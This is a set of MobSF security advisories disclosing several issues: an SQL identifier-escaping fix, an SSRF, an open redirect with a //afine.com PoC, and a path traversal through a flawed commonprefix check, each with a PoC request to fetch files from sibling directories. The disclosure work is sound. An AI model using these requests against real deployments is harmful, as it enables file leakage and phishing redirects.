python def readsqlite(sqlitefile): """Sqlite Dump - Readable Text.""" tabledict = {} try: con = sqlite3.connect(sqlitefile) cur = con.cursor() cur.execute('SELECT name FROM sqlitemaster WHERE type=\'table\';') tables = cur.fetchall() for table in tables: tablename = table[0] # Properly escape table name as a double-quoted identifier safename = tablename.replace('"', '""') tabledict[tablename] = {'head': [], 'data': []} cur.execute(f'PRAGMA tableinfo("{safename}")') rows = cur.fetchall() for sqrow in rows: tabledict[tablename]['head'].append(sqrow[1]) cur.execute(f'SELECT FROM "{safename}"') rows = cur.fetchall() for sqrow in rows: tmprow = [] for eachrow in sqrow: tmprow.append(str(eachrow)) tabledict[tablename]['data'].append(tmprow) except Exception: logger.exception('Reading SQLite db') return tabledict

This escapes any double quotes within table names by doubling them (" → ""), which is the standard SQL mechanism for identifier quoting. This prevents breakout from the double-quoted identifier context.

Resources

- CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') - OWASP SQL Injection: https://owasp.org/www-community/attacks/SQLInjection - Affected File: mobsf/MobSF/utils.py, lines 542-566

Impact What kind of vulnerability is it? Who is impacted? SSRF vulnerability in firebase database check logic. The attacker can cause the server to make a connection to internal-only services within the organization’s infrastructure. When malicious app is uploaded to Static analyzer, it is possible to make internal requests.

Credits: Oleg Surnin (Positive Technologies).

Patches Has the problem been patched? What versions should users upgrade to? v3.9.8 and above

Workarounds Is there a way for users to fix or remediate the vulnerability without upgrading? Code level patch

References Are there any links users can visit to find out more? https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/2373

Impact What kind of vulnerability is it? Who is impacted?

An open redirect vulnerability exist in MobSF authentication view.

PoC 1. Go to http://127.0.0.1:8000/login/?next=//afine.com in a web browser. 2. Enter credentials and press "Sign In". 3. You will be redirected to afine.com

Users who are not using authentication are not impacted.

Patches Has the problem been patched? What versions should users upgrade to?

Update to MobSF v4.0.5

Workarounds Is there a way for users to fix or remediate the vulnerability without upgrading? Disable Authentication

References Are there any links users can visit to find out more? Fix: https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/fdaad81314f393d324c1ede79627e9d47986c8c8

Reporter Marcin Węgłowski (AFINE Team)

Summary The GET /download/<filename> route uses string path verification via os.path.commonprefix, which allows an authenticated user to download files outside the DWDDIR download directory from "neighboring" directories whose absolute paths begin with the same prefix as DWDDIR (e.g., .../downloadsbak, .../downloads.old). This is a Directory Traversal (escape) leading to a data leak.

Details def issafepath(saferoot, checkpath): saferoot = os.path.realpath(os.path.normpath(saferoot)) checkpath = os.path.realpath(os.path.normpath(checkpath)) return os.path.commonprefix([checkpath, saferoot]) == saferoot commonprefix compares raw strings, not path components. For: saferoot = /home/mobsf/.MobSF/downloads checkpath = /home/mobsf/.MobSF/downloadsbak/test.txt the function returns True, incorrectly treating downloadsbak as inside downloads. Download handler: MobSF/views/home.py @loginrequired def download(request): root = settings.DWDDIR filename = request.path.replace('/download/', '', 1) dwdfile = Path(root) / filename # absolute 'filename' ignores 'root' if '../' in filename or not issafepath(root, dwdfile): return HttpResponseForbidden(...) ext = dwdfile.suffix if ext in settings.ALLOWEDEXTENSIONS and dwdfile.isfile(): return filedownload(dwdfile, ...) If the client supplies an absolute path in filename (starts with / or C:/), Path(root) / filename resolves to that absolute path; the flawed issafepath then accepts any sibling directory whose absolute path shares the same string prefix. The ../ check does not catch this.

Which file types are retrievable: Whatever is allowed by settings.ALLOWEDEXTENSIONS

PoC Prereqs: authenticated user; standard install. Assume: settings.DWDDIR = /home/mobsf/.MobSF/downloads Prepare a sibling directory with the same string prefix and a test file: mkdir -p /home/mobsf/.MobSF/downloadsbak echo "test" > /home/mobsf/.MobSF/downloadsbak/test.txt As an authenticated user, request (note the leading / in the filename and the double/triple slash after /download/ to preserve it): GET /download///home/mobsf/.MobSF/downloadsbak/test.txt HTTP/1.1 Host: <HOST> Cookie: sessionid=<YOURSESSION> Other working sibling directory names (if present): …/downloads.old/... …/downloadsbackup/... …/downloads1/... …/downloads-archive/... …/downloads 2024/... (URL-encoded space: downloads%202024) Impact Any authenticated user can download files (with allowed extensions) from sibling directories whose absolute paths start with the same string prefix as DWDDIR.